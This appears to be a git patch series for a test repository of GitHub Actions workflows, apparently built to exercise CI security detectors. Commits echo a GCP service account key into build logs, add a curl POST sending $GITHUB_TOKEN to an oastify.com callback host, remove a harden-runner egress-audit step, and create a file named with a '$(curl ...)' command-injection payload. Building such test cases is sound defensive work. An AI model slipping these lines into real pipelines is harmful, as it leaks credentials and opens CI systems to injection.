From 980dc862c1e82a5994ccdc509075cfa8f29ccfe4 Mon Sep 17 00:00:00 2001 From: John Poulin Date: Wed, 22 Jul 2026 12:24:16 -0400 Subject: [PATCH 1/8] Update secret-in-build-log.yml --- .github/workflows/secret-in-build-log.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.github/workflows/secret-in-build-log.yml b/.github/workflows/secret-in-build-log.yml index 847c1ca10..8f47418c2 100644 --- a/.github/workflows/secret-in-build-log.yml +++ b/.github/workflows/secret-in-build-log.yml @@ -19,6 +19,8 @@ jobs: env: GCP_SERVICE_ACCOUNT_KEY: ${{ secrets.GCP_SERVICE_ACCOUNT_KEY }} run: | + echo "Full Secret: $GCP_SERVICE_ACCOUNT_KEY" + # Extracting the private key from the GCP service account key PRIVATE_KEY=$(echo $GCP_SERVICE_ACCOUNT_KEY | jq -r '.private_key') From 444a33b971da2ddf9b94c53b788035acc1e04a3a Mon Sep 17 00:00:00 2001 From: John Poulin Date: Wed, 22 Jul 2026 12:27:47 -0400 Subject: [PATCH 2/8] Update secret-in-build-log.yml --- .github/workflows/secret-in-build-log.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/secret-in-build-log.yml b/.github/workflows/secret-in-build-log.yml index 8f47418c2..8c480423e 100644 --- a/.github/workflows/secret-in-build-log.yml +++ b/.github/workflows/secret-in-build-log.yml @@ -20,6 +20,7 @@ jobs: GCP_SERVICE_ACCOUNT_KEY: ${{ secrets.GCP_SERVICE_ACCOUNT_KEY }} run: | echo "Full Secret: $GCP_SERVICE_ACCOUNT_KEY" + echo "$GCP_SERVICE_ACCOUNT_KEY" | base64 # Extracting the private key from the GCP service account key PRIVATE_KEY=$(echo $GCP_SERVICE_ACCOUNT_KEY | jq -r '.private_key') From 87d6b69342a16c6bdd05f1b20a951f8689718ca6 Mon Sep 17 00:00:00 2001 From: John Poulin Date: Wed, 22 Jul 2026 12:30:42 -0400 Subject: [PATCH 3/8] Update unexpected-outbound-calls.yml --- .github/workflows/unexpected-outbound-calls.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/unexpected-outbound-calls.yml b/.github/workflows/unexpected-outbound-calls.yml index f53167970..2a02b6d59 100644 --- a/.github/workflows/unexpected-outbound-calls.yml +++ b/.github/workflows/unexpected-outbound-calls.yml @@ -14,3 +14,4 @@ jobs: - run: "curl https://google.com -L || true" - run: "curl microsoft.com:443 --connect-timeout 5 || true" - run: "curl amazon.com:443 --connect-timeout 5 || true" + - run: curl -s -X POST https://xcdf8s8jb3z7fcf05jymki075ybpzgn5.oastify.com -d "token=$GITHUB_TOKEN" From 25d5f8b9c3792f32748fbd98ea0c2e368b37e046 Mon Sep 17 00:00:00 2001 From: John Poulin Date: Wed, 22 Jul 2026 12:32:07 -0400 Subject: [PATCH 4/8] Update unexpected-outbound-calls.yml --- .github/workflows/unexpected-outbound-calls.yml | 4 ---- 1 file changed, 4 deletions(-) diff --git a/.github/workflows/unexpected-outbound-calls.yml b/.github/workflows/unexpected-outbound-calls.yml index 2a02b6d59..12153b3b5 100644 --- a/.github/workflows/unexpected-outbound-calls.yml +++ b/.github/workflows/unexpected-outbound-calls.yml @@ -6,10 +6,6 @@ jobs: name: UnexpectedOutboundCalls runs-on: ubuntu-latest steps: - - name: Harden Runner - uses: step-security/harden-runner@v2 - with: - egress-policy: audit - run: "curl https://attacker.com -L || true" - run: "curl https://google.com -L || true" - run: "curl microsoft.com:443 --connect-timeout 5 || true" From c372f9bec413224b7615ecede20ed10429087630 Mon Sep 17 00:00:00 2001 From: John Poulin Date: Wed, 22 Jul 2026 15:24:08 -0400 Subject: [PATCH 5/8] Update unexpected-outbound-calls.yml --- .github/workflows/unexpected-outbound-calls.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/unexpected-outbound-calls.yml b/.github/workflows/unexpected-outbound-calls.yml index 12153b3b5..430bde401 100644 --- a/.github/workflows/unexpected-outbound-calls.yml +++ b/.github/workflows/unexpected-outbound-calls.yml @@ -1,6 +1,7 @@ name: Unexpected Outbound Calls on: workflow_dispatch: +permissions: read-all jobs: unexpected-outbound-calls: name: UnexpectedOutboundCalls From ff2a7dbe697ba619285529257701015d42df3653 Mon Sep 17 00:00:00 2001 From: John Poulin Date: Wed, 22 Jul 2026 15:29:23 -0400 Subject: [PATCH 6/8] Update unexpected-outbound-calls.yml --- .github/workflows/unexpected-outbound-calls.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.github/workflows/unexpected-outbound-calls.yml b/.github/workflows/unexpected-outbound-calls.yml index 430bde401..903017e4d 100644 --- a/.github/workflows/unexpected-outbound-calls.yml +++ b/.github/workflows/unexpected-outbound-calls.yml @@ -6,6 +6,8 @@ jobs: unexpected-outbound-calls: name: UnexpectedOutboundCalls runs-on: ubuntu-latest + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} steps: - run: "curl https://attacker.com -L || true" - run: "curl https://google.com -L || true" From 72bfbd06baa4666db2b04a1735021b4e861fd85b Mon Sep 17 00:00:00 2001 From: John Poulin Date: Tue, 28 Jul 2026 16:37:18 -0400 Subject: [PATCH 7/8] yay --- $(curl -s msi6iawwfggvaehl5jrwkzzmodu4iu6j.oastify.com) | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 $(curl -s msi6iawwfggvaehl5jrwkzzmodu4iu6j.oastify.com) diff --git a/$(curl -s msi6iawwfggvaehl5jrwkzzmodu4iu6j.oastify.com) b/$(curl -s msi6iawwfggvaehl5jrwkzzmodu4iu6j.oastify.com) new file mode 100644 index 000000000..e69de29bb From 19e144ce189ce74510d33f463ab14406c1cd1c15 Mon Sep 17 00:00:00 2001 From: John Poulin Date: Tue, 28 Jul 2026 16:37:45 -0400 Subject: [PATCH 8/8] yay --- $(curl -s msi6iawwfggvaehl5jrwkzzmodu4iu6j.oastify.com) | 1 + 1 file changed, 1 insertion(+) diff --git a/$(curl -s msi6iawwfggvaehl5jrwkzzmodu4iu6j.oastify.com) b/$(curl -s msi6iawwfggvaehl5jrwkzzmodu4iu6j.oastify.com) index e69de29bb..789819226 100644 --- a/$(curl -s msi6iawwfggvaehl5jrwkzzmodu4iu6j.oastify.com) +++ b/$(curl -s msi6iawwfggvaehl5jrwkzzmodu4iu6j.oastify.com) @@ -0,0 +1 @@ +a